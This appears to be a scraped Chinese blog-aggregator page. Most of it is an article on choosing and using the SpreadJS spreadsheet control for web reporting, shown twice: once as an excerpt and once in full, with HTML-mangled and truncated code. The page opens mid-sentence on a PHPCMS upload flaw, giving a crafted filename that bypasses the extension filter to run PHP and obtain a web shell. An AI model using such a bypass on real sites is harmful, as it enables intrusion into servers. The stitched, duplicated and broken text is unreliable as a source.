(substr(strrchr($filename, '.'), 1, 10)));处理被绕过,攻击这可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php来绕过过滤,最终由于apache的文件名解析特性(可以去掉空格)导致上传文件里php代码最终被解析执行。所以该类漏洞中,都是因为对文件名后缀缺少更严谨的处理,导致上传可执行文件最终导致getshell。
PHPCMS
数据可视化探索之 SpreadJS
网站优化 • 优采云 发表了文章 • 0 个评论 • 140 次浏览 • 2022-06-20 19:31
本文首发于政采云前端团队博客:数据可视化探索之 SpreadJS
一、前言
数据可视化包含三个分支:科学可视化、信息可视化、可视分析。
1、科学可视化主要关注的是三维现象的可视化,如建筑学、气象学、医学或生物学方面的各种系统。重点在于对体、面以及光源等等的逼真渲染,或许甚至还包括某种动态成分。
2、信息可视化是一种将数据与设计结合起来的图片,有利于个人或组织简短有效地向受众传播信息的数据表现形式。
3、可视分析学被定义为由可视交互界面为基础的分析推理科学,将图形学、数据挖掘、人机交互等技术融合在一起,形成人脑智能和机器智能优势互补和相互提升。
可视化分析中可视化报表是重中之重,把大量的数据快速的展示出来,并且灵活的进行数据操作,其中操作包括数据的筛选、关联、联动、钻取,文案的查询,替换、样式设置,条件格式的注入实现多色阶、图标集、数据条、重复值,以及公式的插入,跨表联动等。SpreadJS 在解决可视化分析报表中最为突出,下面我们只针对可视化分析中 SpreadJS 所扮演色做探讨。
二、报表可视化难点
互联网电商服务业行业,平时会处理大量商业信息和用户信息,客服和数据分析师,是报表主要用户人员。
客服平时每天都会处理大量的工单填报、客诉登记、第三方平台原始数据的导入、统计汇总、审核审批、电签、分发等工作。平时大部分工作信息的载体都是 Excel,每天服务器需要处理海量的文档,由于 Excel 文档本身数据难以提取入库,模板更新时也不方便第一时间分发到操作员处,难以整合到 Web 页面里等问题。
数据分析师需要拿到数据进行汇总,算出各个商品品牌的销售额,最大值、最小值、平均值等,标识出有价值的数据。抓取有效数据,制作成报表给 boss。
针对以上的场景,报表可视化可以总结出以下几个难点:
1. 并发
公司客服人数众多,几千人同时在线重度操作,业务流转周期短、数据量大,所以对服务端并发性能消耗是很大的。可以在后台用 Apache POI 来提取和修改 Excel 数据、并执行其中的公式计算等。这样会遇到两个性能瓶颈:
1)需要频繁地上传、下载文档,服务器带宽承受了很大的压力;
2)所有 Excel 解析、提取的操作都在服务器端,频繁的 IO 操作让服务器不堪重负。
以上两个性能点,在目前的架构下很难突破,这也是重构项目时最具挑战性的需求点之一。当然硬堆服务器配置也是一个解决方案,但无法解决其它的一些问题,并且也会带来运维的压力。
2. 对 Excel 操作和兼容性要求较高
新系统如果不能让大家快速上手使用,以这个项目用户的体量,培训成本将无法承受。而且要能够直接导入已有的 Excel 报表模板,否则再次开发或设计所有 Excel 报表也是难以接受的。
3. 报表格式灵活多变
针对不同的业务场景,报表的模版也是千变万化。因此不需要研发的介入,操作员的设计和填报都可以在页面上完成显得尤为重要。
4. 支持公式计算
由于涉及到商品、订单、成本核算、财务统计等模块,对计算公式的种类和性能要求较高。
5. 工作流中的数据文档
以前系统的工作流,涉及到 Excel 报表时,要么数据会先在服务端和 Excel 模板进行拼装,要么系统根据路径找到文件服务器的 Excel 文件,然后流转到对应环节。一些新的业务模块,甚至还只能用邮件进行文件传输。
这个过程会产生大量的文件,对文件服务器的带来了很大压力,后台也不得不定期做批量的数据拆分和维护。这次升级系统需要解决这个问题。
三、思考如何选型
首先,选型的第一步就是搞清楚市面上具体有哪些产品供我们选择,对于目前市面上能集成到系统中,支持这种在线表格文档编辑的产品有不少,大体我把他们分了两类。
1. 云文档类型产品
这种产品有很多,类似 WPS、石墨文档、Office Online。它们本身具备较高的完成度,已经帮用户实现了包括在线协同内的几乎所有功能,甚至也支持一定程度的二次开发而且可以私有化部署。但问题在于通常这类产品封闭性比较强,二次定制开发还是相对比较困难,且不够轻量。授权方式也多以按时间、按并发量、用户数量等方式授权,价格昂贵,不是很适合我们的需要。
2. 控件类型产品
像 LuckySheet、Handsontable、SpreadJS 这种就是标准的控件了,它们都是纯前端表格控件,都支持 Excel 的功能特性和 json 数据绑定。
LuckySheet () 是国内的MIT开源软件,可以拿来商用。但在我调研时它才刚上线 1、2 个月,并且不像 React 这种有某个大厂来背书,所以不可能拿来用到我们的正式项目里。截止目前已经过去了 1 年,陆续推出了 群、论坛等交流平台,但仍显薄弱。
Handsontable () 是国外的一个商业表格控件,据说二次开发坑较多,但对我们来说最大的问题是它没有中文支持团队。
SpreadJS () 是葡萄城公司的商业Excel表格控件,有趣的是我发现在 V2EX 的 LuckySheet 下方评论区中,LuckySheet 的作者也说 SpreadJS 是行业标杆。它支持导入包括公式、图表、样式、条件格式在内的绝大部分 Excel 特性(不支持宏)。并且最惊喜的是,它的操作界面是一个完整的 Excel 界面,完全纯 JS 开发的,用 json 进行模板和数据交互。同时 SpreadJS 也有对应的售后支持团队,技术问题可以工作日期间随时电话、论坛交流,相关的资料包括视频、文档、示例、API 手册也都非常丰富,甚至还可以请他们的技术顾问来公司培训。对于像我们这种工期短、开发任务比较繁重的项目组,确实能节约大量的精力,降低了风险。
图片来源:SpreadJS 在线 Excel 编辑器 ()
那么什么是控件?为什么要用控件?
“
引用维基百科: (%E6%8E%A7%E4%BB%B6?fileGuid=QKgTJRrrCD96PXwh)在计算机编程当中,控件(或部件,widget或control)是一种 图形用户界面 元素,其显示的信息排列可由用户改变,例如 视窗 或 文本框。控件定义的特点是为给定数据的直接操作(direct manipulation)提供单独的互动点。控件是一种基本的可视构件块,包含在应用程序中,控制着该程序处理的所有数据以及关于这些数据的交互操作。
按照我自己理解,控件就是只提供了基本功能,支持二次开发的功能模块。控件相对依赖更轻,可塑性更好,并且也有对应的开发文档和 API,是面向开发者的基础功能包,便于按需求来定制功能。
四、SpreadJS 需求解决方案和优势1. 并发
由于 SpreadJS 是数据和模板分离的设计,填报人员只需要在页面上完成填报。提交时可以只提交填报好的数据 json 即可,服务器再也不用集中解析所有Excel 文件了。带宽消耗也直接节约了一半。
2. 对 Excel 操作和兼容性要求较高
在内部试用时,财务和客服的小姐姐们反馈,使用体验跟 Excel 几乎完全一样,不需要再特意培训。而且我们自己的大量 Excel 报表可以直接导入进去(二次开发后也可以实现批量和远程导入),包括图表、公式、表格样式等等一系列元素都可以直接导入线上操作。
3. 报表格式灵活多变
设计人员可以直接在线设计,或者把 Excel 设计好的报表,拿到 Web 端,做好数据绑定,提交保存成 json 格式即可(Spread JS 的 ssjson 格式包括 Excel 文档的所有信息)
4. 支持公式计算
支持了 450 多种( Excel 一共 480 多种)公式,还可以自己开发扩展自定义公式,对财务也够用了。同时还支持所有 Excel 的引用操作,比如跨 sheet 引用、绝对引用、函数命名信息之类。
5. 工作流中的数据文档
基本脱离了对文件的依赖,所有流程状态和依赖的数据都可以在数据库中记录,文件服务器只需要保存少量的模板文档即可(其实模板数量不大时可以直接放到数据库里,不过我们有现成的文件服务器)。这里节约了我们 90% 文件服务器的空间开销,运维的小伙伴半夜都要笑醒。
五、深入SpreadJS
重点来了,其实最让我这个前端开发者感兴趣的就是 SpreadJS 的一些底层设计、以及对内存、性能平衡性的优化。对此我做了很多调研和学习,好在这方面资料不难找,常常可以在葡萄城官方论坛的公开课版块()遇到一些相关的技术分享。下边是自己了解学习到的内容,做个简单总结:
1. 渲染性能
性能肯定是每个深度表格控件用户最担心的问题。我们的数据量常常达到好几千条,而且 Excel 不方便分页(涉及前端的公式计算汇总),所以选型期间很担心。后来发现想多了,SpreadJS 可以轻松加载 50 万条数据加载耗时 200 ms左右(官网性能演示示例()只能加载 5 万,我们自己扒下来测的 50 万)。后来深入了解才知道,解决这个问题,他们的思路是这样的:
用 Canvas 渲染表格部分,并且只渲染用户看到的部分内容,这就实现了加载 1000 行和加载 100000 行数据速度都很快,性能相差不大的现象。
而 Double buffering 是为了解决连续渲染的连续性体验问题,也可以进一步提升渲染速度。这个名词估计听过的人少,但应该人人都体验过,Double buffering 在图形学里,一般称作双缓冲,实际上的绘图指令是在一个缓冲区完成,这里的绘图非常的快,在绘图指令完成之后,再通过交换指令把完成的图形立即显示在屏幕上,这就避免了出现绘图的不完整,同时效率很高。在游戏里其实很常见,当我们主控的人物在地图上奔跑时,游戏引擎会按照人物移动方向实时加载和渲染地图,这就避免了一次性加载超大地图时那漫长的等待。
图片来源:葡萄城公开课【SpreadJS性能优化】()
SpreadJS 对表格数据的存储优化采用了稀疏数组的数据结构。稀疏数组常用来优化二维数组(比如棋盘、地图等场景)的内存占用,但它有个天生的缺陷,就是访问性能慢。
所以当时针对这个疑问,我给它做了压力测试,百万级别的遍历耗时 200 多ms。性能可以满足我们的需求。
2. 计算引擎
据官方介绍来看,公式引擎其实是包含了两大实现的部分,一个是计算逻辑系统、一个是引用系统。
Excel 中公式的计算都是依赖于某些原始数据的,比如 C1 引用 B1、B1 又引用 A1等等, SpreadJS 把这部分功能封装的已经非常原生化了,根本不需要开发者操心(除非有引用回溯等特殊需求)。
Excel 中有直接引用、跨 Sheet 表单引用、相对/绝对引用、命名信息的引用、 table 行列公式的引用、跨工作簿引用等等(没列举完,感兴趣的同学可以自行搜索学习)。SpreadJS 的 runtime 是在网页端,因此跨 Workbook 引用就别想了,至少目前肯定没支持。
SUM、IF、MATCH、VLOOKUP 这种能输入到单元格里的计算公式,用起来就像是一个个的小“逻辑包”,目前 SpreadJS 有 460+ 种原生的公式函数,而 Excel 只有 490+ 种,并且 SpreadJS 能自定制公式,使用体验与原生公式一样。
对于底层实现,实际上经过多个版本的迭代,这些公式早已不是一个个独立的“逻辑孤岛”了。公式的实现在底层有大量的抽象和复用,据说新版本在性能提升的同时,代码量比老版本有明显精简,这对前端工程打包也是比较友好的。
对于嵌套公式计算的实现,SpreadJS 在底层建立起了 AST 树来解析用户设置公式的计算逻辑,从官方示例的代码来看,公式底层建立了一套 Expression,并且有对应的 public 接口可供调用,如图:
图片来源:【SpreadJS公式结构树形展示】()
首先,作为一个前端技术,咱们可以先从公式计算的技术要求上来分析性能可能出现的瓶颈以及造成的影响。我们在开发时用到了大量的用户事件、脏数据、联动等功能,所有这些功能确保正确运行的一个重要前提,就是必须能确保随时可以拿到正确的计算结果,那么最直接的实现思路就是让公式以高优先级、同步的方式来执行完计算。
大家都知道,多线程可以帮助分担计算压力,但是先抛开设计和实现难度不说,即便支持了 Web Worker,JavaScript 严格来说也只能算是一个单线程语言,因为它的 Web Worker 子线程完全受主线程控制,并且主线程无法被阻塞挂起。所以即使引入了 Web Worker,也无法确保上边提到的同步执行。
经过以上分析,可以看出公式计算性能的局限性,取决于 JavaScript 的计算能力。我找了一张相关的图片,可以直观反映 Node.js 的计算能力(Node.js 是 V8 引擎,公认最快的 JS 引擎)
图片引用自《深入浅出 Node.js》
而 SpreadJS 官方给出了一组公式的计算数据,参考如下:
据我们测试,以上计算性能接近原生JS的计算性能,SpreadJS 在这方面的优化已经十分接近物理极限了。目前在我们的应用场景中,这个计算性能已经足够使用,但不排除以后会出现海量的数据和公式的计算需求,而在这方面官方也给出了相关解决方案,参考这里 ()。
据说,官方还在进一步开发缓存技术,来实现公式计算的分块缓存:即使引用链上有值发生变化,也不需要计算整个引用链的公式。听起来很强大,思路也靠谱,但愿早点推出。
3. 样式系统
Excel 的样式系统非常复杂,边框、字体、对齐、数据格式、条件格式等等每一个功能点都有非常灵活庞大的实现,刚开始了解 SpreadJS 时,我也被它的 Style 类惊呆了,除了我能想象到的边框、背景、字体、对齐等这些能“看得到”的,竟然也有单元格类型、数据格式、表格按钮、下拉、水印这类东西。不由得感叹 Style 太重了,如果定制大量的单元格样式,内存和性能肯定都不好。不过实际应用中倒也没发现瓶颈,原来这里采用了分层结构来设计,如图:
图片来源:葡萄城公开课【SpreadJS性能优化】
六、SpreadJS怎么用?1. 渲染表格
图 6.1-1 绑定数据和公式
首先获取全局 spread 对象,spread 是整个表格的主体,spread 又分成多个 sheet。SpreadJS 初始化结束都会返回一个 spread 对象。
<br /> methods:{<br /> spreadInitHandle: function (spread) {<br /> this.spread = sprea<br /> },<br /> }<br />
tableDataBind() {<br /> // 数据源,可以从后台请求拿到<br /> var dataSource = {<br /> // 注意这里加了一层bindPath,用于映射表格的绑定路径<br /> bindPath_table: [{<br /> c1: 100,<br /> c2: 90,<br /> c3: 30,<br /> c4: 40<br /> }, {<br /> c1: 88,<br /> c2: 66,<br /> c3: 55,<br /> c4:100<br /> }, {<br /> c1: 30,<br /> c2: 89,<br /> c3: 100,<br /> c4: 40<br /> },{<br /> c1: 40,<br /> c2: 66,<br /> c3: 88,<br /> c4: 40<br /> }]<br /> };<br /> // 表格绑定和单元格绑定数据源,需要用SpreadJS的CellBindingSource包装一下<br /> var spreadNS = GC.Spread.Sheets;<br /> var dataSource1 = new spreadNS.Bindings.CellBindingSource(dataSource);<br /> var table2 = this.activeSheet.tables.add("tableName", 0, 0, 1, 5, spreadNS.Tables.TableThemes.light6);<br /> table2.showFooter(true);<br /> table2.autoGenerateColumns(false);<br /> var c1 = new spreadNS.Tables.TableColumn(1);<br /> c1.name("语文");<br /> c1.dataField("c1");<br /> var c2 = new spreadNS.Tables.TableColumn(2);<br /> c2.name("数学");<br /> c2.dataField("c2");<br /> var c3 = new spreadNS.Tables.TableColumn(3);<br /> c3.name("英语");<br /> c3.dataField("c3");<br /> var c4 = new spreadNS.Tables.TableColumn(4);<br /> c4.name("化学");<br /> c4.dataField("c4");<br /> var c5 = new spreadNS.Tables.TableColumn(5);<br /> c5.name("合计");<br /> table2.bindColumns([c1, c2, c3, c4, c5]);<br /> table2.bindingPath("bindPath_table");<br /> // 设置公式<br /> table2.setColumnDataFormula(4, "=[@语文]+[@数学]+[@英语]+[@化学]");<br /> table2.setColumnFormula(4, "=SUBTOTAL(109,[合计])");<br /> // 设置允许单元格的内容超出单元格,与绑定无关<br /> this.activeSheet.options.allowCellOverflow = true;<br /> // 绑定dataSource<br /> this.activeSheet.setDataSource(dataSource1);<br /> this.spread.resumePaint();<br />},<br />
图 6.1-2函数名和函数码映射表2. 渲染条件格式
渲染条件格式:数据渲染完成只能保证数据能正常显示出来,但是这还不能满足数据分析师的需求,还要明显展示有效数据譬如:最大值,最小值标红,进度条展示一个变化状态,图标展示上升还是下降,双色阶,三色阶,等,具体怎么实现?
<p>iconset() {<br /> var activeSheet = this.activeSheet;<br /> var iconSetRule = new GC.Spread.Sheets.ConditionalFormatting.IconSetRule();<br /> // 演示demo先写死区域<br /> iconSetRule.ranges([new GC.Spread.Sheets.Range(0,0, 5, 5)]);<br /> // IconSetType图标志的类型:箭头,圆圈和execl 打通的,excel有哪些这这边就支持哪些<br /> iconSetRule.iconSetType(GC.Spread.Sheets.ConditionalFormatting.IconSetType.threeArrowsColored);<br /> var iconCriteria = iconSetRule.iconCriteria();<br /> iconCriteria[0] = new GC.Spread.Sheets.ConditionalFormatting.IconCriterion(<br /> true,<br /> GC.Spread.Sheets.ConditionalFormatting.IconValueType.number, <br /> 60<br /> );//( 查看全部
数据可视化探索之 SpreadJS
本文首发于政采云前端团队博客:数据可视化探索之 SpreadJS
一、前言
数据可视化包含三个分支:科学可视化、信息可视化、可视分析。
1、科学可视化主要关注的是三维现象的可视化,如建筑学、气象学、医学或生物学方面的各种系统。重点在于对体、面以及光源等等的逼真渲染,或许甚至还包括某种动态成分。
2、信息可视化是一种将数据与设计结合起来的图片,有利于个人或组织简短有效地向受众传播信息的数据表现形式。
3、可视分析学被定义为由可视交互界面为基础的分析推理科学,将图形学、数据挖掘、人机交互等技术融合在一起,形成人脑智能和机器智能优势互补和相互提升。
可视化分析中可视化报表是重中之重,把大量的数据快速的展示出来,并且灵活的进行数据操作,其中操作包括数据的筛选、关联、联动、钻取,文案的查询,替换、样式设置,条件格式的注入实现多色阶、图标集、数据条、重复值,以及公式的插入,跨表联动等。SpreadJS 在解决可视化分析报表中最为突出,下面我们只针对可视化分析中 SpreadJS 所扮演色做探讨。
二、报表可视化难点
互联网电商服务业行业,平时会处理大量商业信息和用户信息,客服和数据分析师,是报表主要用户人员。
客服平时每天都会处理大量的工单填报、客诉登记、第三方平台原始数据的导入、统计汇总、审核审批、电签、分发等工作。平时大部分工作信息的载体都是 Excel,每天服务器需要处理海量的文档,由于 Excel 文档本身数据难以提取入库,模板更新时也不方便第一时间分发到操作员处,难以整合到 Web 页面里等问题。
数据分析师需要拿到数据进行汇总,算出各个商品品牌的销售额,最大值、最小值、平均值等,标识出有价值的数据。抓取有效数据,制作成报表给 boss。
针对以上的场景,报表可视化可以总结出以下几个难点:
1. 并发
公司客服人数众多,几千人同时在线重度操作,业务流转周期短、数据量大,所以对服务端并发性能消耗是很大的。可以在后台用 Apache POI 来提取和修改 Excel 数据、并执行其中的公式计算等。这样会遇到两个性能瓶颈:
1)需要频繁地上传、下载文档,服务器带宽承受了很大的压力;
2)所有 Excel 解析、提取的操作都在服务器端,频繁的 IO 操作让服务器不堪重负。
以上两个性能点,在目前的架构下很难突破,这也是重构项目时最具挑战性的需求点之一。当然硬堆服务器配置也是一个解决方案,但无法解决其它的一些问题,并且也会带来运维的压力。
2. 对 Excel 操作和兼容性要求较高
新系统如果不能让大家快速上手使用,以这个项目用户的体量,培训成本将无法承受。而且要能够直接导入已有的 Excel 报表模板,否则再次开发或设计所有 Excel 报表也是难以接受的。
3. 报表格式灵活多变
针对不同的业务场景,报表的模版也是千变万化。因此不需要研发的介入,操作员的设计和填报都可以在页面上完成显得尤为重要。
4. 支持公式计算
由于涉及到商品、订单、成本核算、财务统计等模块,对计算公式的种类和性能要求较高。
5. 工作流中的数据文档
以前系统的工作流,涉及到 Excel 报表时,要么数据会先在服务端和 Excel 模板进行拼装,要么系统根据路径找到文件服务器的 Excel 文件,然后流转到对应环节。一些新的业务模块,甚至还只能用邮件进行文件传输。
这个过程会产生大量的文件,对文件服务器的带来了很大压力,后台也不得不定期做批量的数据拆分和维护。这次升级系统需要解决这个问题。
三、思考如何选型
首先,选型的第一步就是搞清楚市面上具体有哪些产品供我们选择,对于目前市面上能集成到系统中,支持这种在线表格文档编辑的产品有不少,大体我把他们分了两类。
1. 云文档类型产品
这种产品有很多,类似 WPS、石墨文档、Office Online。它们本身具备较高的完成度,已经帮用户实现了包括在线协同内的几乎所有功能,甚至也支持一定程度的二次开发而且可以私有化部署。但问题在于通常这类产品封闭性比较强,二次定制开发还是相对比较困难,且不够轻量。授权方式也多以按时间、按并发量、用户数量等方式授权,价格昂贵,不是很适合我们的需要。
2. 控件类型产品
像 LuckySheet、Handsontable、SpreadJS 这种就是标准的控件了,它们都是纯前端表格控件,都支持 Excel 的功能特性和 json 数据绑定。
LuckySheet () 是国内的MIT开源软件,可以拿来商用。但在我调研时它才刚上线 1、2 个月,并且不像 React 这种有某个大厂来背书,所以不可能拿来用到我们的正式项目里。截止目前已经过去了 1 年,陆续推出了 群、论坛等交流平台,但仍显薄弱。
Handsontable () 是国外的一个商业表格控件,据说二次开发坑较多,但对我们来说最大的问题是它没有中文支持团队。
SpreadJS () 是葡萄城公司的商业Excel表格控件,有趣的是我发现在 V2EX 的 LuckySheet 下方评论区中,LuckySheet 的作者也说 SpreadJS 是行业标杆。它支持导入包括公式、图表、样式、条件格式在内的绝大部分 Excel 特性(不支持宏)。并且最惊喜的是,它的操作界面是一个完整的 Excel 界面,完全纯 JS 开发的,用 json 进行模板和数据交互。同时 SpreadJS 也有对应的售后支持团队,技术问题可以工作日期间随时电话、论坛交流,相关的资料包括视频、文档、示例、API 手册也都非常丰富,甚至还可以请他们的技术顾问来公司培训。对于像我们这种工期短、开发任务比较繁重的项目组,确实能节约大量的精力,降低了风险。
图片来源:SpreadJS 在线 Excel 编辑器 ()
那么什么是控件?为什么要用控件?
“
引用维基百科: (%E6%8E%A7%E4%BB%B6?fileGuid=QKgTJRrrCD96PXwh)在计算机编程当中,控件(或部件,widget或control)是一种 图形用户界面 元素,其显示的信息排列可由用户改变,例如 视窗 或 文本框。控件定义的特点是为给定数据的直接操作(direct manipulation)提供单独的互动点。控件是一种基本的可视构件块,包含在应用程序中,控制着该程序处理的所有数据以及关于这些数据的交互操作。
按照我自己理解,控件就是只提供了基本功能,支持二次开发的功能模块。控件相对依赖更轻,可塑性更好,并且也有对应的开发文档和 API,是面向开发者的基础功能包,便于按需求来定制功能。
四、SpreadJS 需求解决方案和优势1. 并发
由于 SpreadJS 是数据和模板分离的设计,填报人员只需要在页面上完成填报。提交时可以只提交填报好的数据 json 即可,服务器再也不用集中解析所有Excel 文件了。带宽消耗也直接节约了一半。
2. 对 Excel 操作和兼容性要求较高
在内部试用时,财务和客服的小姐姐们反馈,使用体验跟 Excel 几乎完全一样,不需要再特意培训。而且我们自己的大量 Excel 报表可以直接导入进去(二次开发后也可以实现批量和远程导入),包括图表、公式、表格样式等等一系列元素都可以直接导入线上操作。
3. 报表格式灵活多变
设计人员可以直接在线设计,或者把 Excel 设计好的报表,拿到 Web 端,做好数据绑定,提交保存成 json 格式即可(Spread JS 的 ssjson 格式包括 Excel 文档的所有信息)
4. 支持公式计算
支持了 450 多种( Excel 一共 480 多种)公式,还可以自己开发扩展自定义公式,对财务也够用了。同时还支持所有 Excel 的引用操作,比如跨 sheet 引用、绝对引用、函数命名信息之类。
5. 工作流中的数据文档
基本脱离了对文件的依赖,所有流程状态和依赖的数据都可以在数据库中记录,文件服务器只需要保存少量的模板文档即可(其实模板数量不大时可以直接放到数据库里,不过我们有现成的文件服务器)。这里节约了我们 90% 文件服务器的空间开销,运维的小伙伴半夜都要笑醒。
五、深入SpreadJS
重点来了,其实最让我这个前端开发者感兴趣的就是 SpreadJS 的一些底层设计、以及对内存、性能平衡性的优化。对此我做了很多调研和学习,好在这方面资料不难找,常常可以在葡萄城官方论坛的公开课版块()遇到一些相关的技术分享。下边是自己了解学习到的内容,做个简单总结:
1. 渲染性能
性能肯定是每个深度表格控件用户最担心的问题。我们的数据量常常达到好几千条,而且 Excel 不方便分页(涉及前端的公式计算汇总),所以选型期间很担心。后来发现想多了,SpreadJS 可以轻松加载 50 万条数据加载耗时 200 ms左右(官网性能演示示例()只能加载 5 万,我们自己扒下来测的 50 万)。后来深入了解才知道,解决这个问题,他们的思路是这样的:
用 Canvas 渲染表格部分,并且只渲染用户看到的部分内容,这就实现了加载 1000 行和加载 100000 行数据速度都很快,性能相差不大的现象。
而 Double buffering 是为了解决连续渲染的连续性体验问题,也可以进一步提升渲染速度。这个名词估计听过的人少,但应该人人都体验过,Double buffering 在图形学里,一般称作双缓冲,实际上的绘图指令是在一个缓冲区完成,这里的绘图非常的快,在绘图指令完成之后,再通过交换指令把完成的图形立即显示在屏幕上,这就避免了出现绘图的不完整,同时效率很高。在游戏里其实很常见,当我们主控的人物在地图上奔跑时,游戏引擎会按照人物移动方向实时加载和渲染地图,这就避免了一次性加载超大地图时那漫长的等待。
图片来源:葡萄城公开课【SpreadJS性能优化】()
SpreadJS 对表格数据的存储优化采用了稀疏数组的数据结构。稀疏数组常用来优化二维数组(比如棋盘、地图等场景)的内存占用,但它有个天生的缺陷,就是访问性能慢。
所以当时针对这个疑问,我给它做了压力测试,百万级别的遍历耗时 200 多ms。性能可以满足我们的需求。
2. 计算引擎
据官方介绍来看,公式引擎其实是包含了两大实现的部分,一个是计算逻辑系统、一个是引用系统。
Excel 中公式的计算都是依赖于某些原始数据的,比如 C1 引用 B1、B1 又引用 A1等等, SpreadJS 把这部分功能封装的已经非常原生化了,根本不需要开发者操心(除非有引用回溯等特殊需求)。
Excel 中有直接引用、跨 Sheet 表单引用、相对/绝对引用、命名信息的引用、 table 行列公式的引用、跨工作簿引用等等(没列举完,感兴趣的同学可以自行搜索学习)。SpreadJS 的 runtime 是在网页端,因此跨 Workbook 引用就别想了,至少目前肯定没支持。
SUM、IF、MATCH、VLOOKUP 这种能输入到单元格里的计算公式,用起来就像是一个个的小“逻辑包”,目前 SpreadJS 有 460+ 种原生的公式函数,而 Excel 只有 490+ 种,并且 SpreadJS 能自定制公式,使用体验与原生公式一样。
对于底层实现,实际上经过多个版本的迭代,这些公式早已不是一个个独立的“逻辑孤岛”了。公式的实现在底层有大量的抽象和复用,据说新版本在性能提升的同时,代码量比老版本有明显精简,这对前端工程打包也是比较友好的。
对于嵌套公式计算的实现,SpreadJS 在底层建立起了 AST 树来解析用户设置公式的计算逻辑,从官方示例的代码来看,公式底层建立了一套 Expression,并且有对应的 public 接口可供调用,如图:
图片来源:【SpreadJS公式结构树形展示】()
首先,作为一个前端技术,咱们可以先从公式计算的技术要求上来分析性能可能出现的瓶颈以及造成的影响。我们在开发时用到了大量的用户事件、脏数据、联动等功能,所有这些功能确保正确运行的一个重要前提,就是必须能确保随时可以拿到正确的计算结果,那么最直接的实现思路就是让公式以高优先级、同步的方式来执行完计算。
大家都知道,多线程可以帮助分担计算压力,但是先抛开设计和实现难度不说,即便支持了 Web Worker,JavaScript 严格来说也只能算是一个单线程语言,因为它的 Web Worker 子线程完全受主线程控制,并且主线程无法被阻塞挂起。所以即使引入了 Web Worker,也无法确保上边提到的同步执行。
经过以上分析,可以看出公式计算性能的局限性,取决于 JavaScript 的计算能力。我找了一张相关的图片,可以直观反映 Node.js 的计算能力(Node.js 是 V8 引擎,公认最快的 JS 引擎)
图片引用自《深入浅出 Node.js》
而 SpreadJS 官方给出了一组公式的计算数据,参考如下:
据我们测试,以上计算性能接近原生JS的计算性能,SpreadJS 在这方面的优化已经十分接近物理极限了。目前在我们的应用场景中,这个计算性能已经足够使用,但不排除以后会出现海量的数据和公式的计算需求,而在这方面官方也给出了相关解决方案,参考这里 ()。
据说,官方还在进一步开发缓存技术,来实现公式计算的分块缓存:即使引用链上有值发生变化,也不需要计算整个引用链的公式。听起来很强大,思路也靠谱,但愿早点推出。
3. 样式系统
Excel 的样式系统非常复杂,边框、字体、对齐、数据格式、条件格式等等每一个功能点都有非常灵活庞大的实现,刚开始了解 SpreadJS 时,我也被它的 Style 类惊呆了,除了我能想象到的边框、背景、字体、对齐等这些能“看得到”的,竟然也有单元格类型、数据格式、表格按钮、下拉、水印这类东西。不由得感叹 Style 太重了,如果定制大量的单元格样式,内存和性能肯定都不好。不过实际应用中倒也没发现瓶颈,原来这里采用了分层结构来设计,如图:
图片来源:葡萄城公开课【SpreadJS性能优化】
六、SpreadJS怎么用?1. 渲染表格
图 6.1-1 绑定数据和公式
首先获取全局 spread 对象,spread 是整个表格的主体,spread 又分成多个 sheet。SpreadJS 初始化结束都会返回一个 spread 对象。
<br /> methods:{<br /> spreadInitHandle: function (spread) {<br /> this.spread = sprea<br /> },<br /> }<br />
tableDataBind() {<br /> // 数据源,可以从后台请求拿到<br /> var dataSource = {<br /> // 注意这里加了一层bindPath,用于映射表格的绑定路径<br /> bindPath_table: [{<br /> c1: 100,<br /> c2: 90,<br /> c3: 30,<br /> c4: 40<br /> }, {<br /> c1: 88,<br /> c2: 66,<br /> c3: 55,<br /> c4:100<br /> }, {<br /> c1: 30,<br /> c2: 89,<br /> c3: 100,<br /> c4: 40<br /> },{<br /> c1: 40,<br /> c2: 66,<br /> c3: 88,<br /> c4: 40<br /> }]<br /> };<br /> // 表格绑定和单元格绑定数据源,需要用SpreadJS的CellBindingSource包装一下<br /> var spreadNS = GC.Spread.Sheets;<br /> var dataSource1 = new spreadNS.Bindings.CellBindingSource(dataSource);<br /> var table2 = this.activeSheet.tables.add("tableName", 0, 0, 1, 5, spreadNS.Tables.TableThemes.light6);<br /> table2.showFooter(true);<br /> table2.autoGenerateColumns(false);<br /> var c1 = new spreadNS.Tables.TableColumn(1);<br /> c1.name("语文");<br /> c1.dataField("c1");<br /> var c2 = new spreadNS.Tables.TableColumn(2);<br /> c2.name("数学");<br /> c2.dataField("c2");<br /> var c3 = new spreadNS.Tables.TableColumn(3);<br /> c3.name("英语");<br /> c3.dataField("c3");<br /> var c4 = new spreadNS.Tables.TableColumn(4);<br /> c4.name("化学");<br /> c4.dataField("c4");<br /> var c5 = new spreadNS.Tables.TableColumn(5);<br /> c5.name("合计");<br /> table2.bindColumns([c1, c2, c3, c4, c5]);<br /> table2.bindingPath("bindPath_table");<br /> // 设置公式<br /> table2.setColumnDataFormula(4, "=[@语文]+[@数学]+[@英语]+[@化学]");<br /> table2.setColumnFormula(4, "=SUBTOTAL(109,[合计])");<br /> // 设置允许单元格的内容超出单元格,与绑定无关<br /> this.activeSheet.options.allowCellOverflow = true;<br /> // 绑定dataSource<br /> this.activeSheet.setDataSource(dataSource1);<br /> this.spread.resumePaint();<br />},<br />
图 6.1-2函数名和函数码映射表2. 渲染条件格式
渲染条件格式:数据渲染完成只能保证数据能正常显示出来,但是这还不能满足数据分析师的需求,还要明显展示有效数据譬如:最大值,最小值标红,进度条展示一个变化状态,图标展示上升还是下降,双色阶,三色阶,等,具体怎么实现?
<p>iconset() {<br /> var activeSheet = this.activeSheet;<br /> var iconSetRule = new GC.Spread.Sheets.ConditionalFormatting.IconSetRule();<br /> // 演示demo先写死区域<br /> iconSetRule.ranges([new GC.Spread.Sheets.Range(0,0, 5, 5)]);<br /> // IconSetType图标志的类型:箭头,圆圈和execl 打通的,excel有哪些这这边就支持哪些<br /> iconSetRule.iconSetType(GC.Spread.Sheets.ConditionalFormatting.IconSetType.threeArrowsColored);<br /> var iconCriteria = iconSetRule.iconCriteria();<br /> iconCriteria[0] = new GC.Spread.Sheets.ConditionalFormatting.IconCriterion(<br /> true,<br /> GC.Spread.Sheets.ConditionalFormatting.IconValueType.number, <br /> 60<br /> );//(
php抓取网页数据插入数据库 CMS真的安全吗?洞鉴PHPCMS
网站优化 • 优采云 发表了文章 • 0 个评论 • 60 次浏览 • 2022-06-20 19:24
什么是PHPCMS
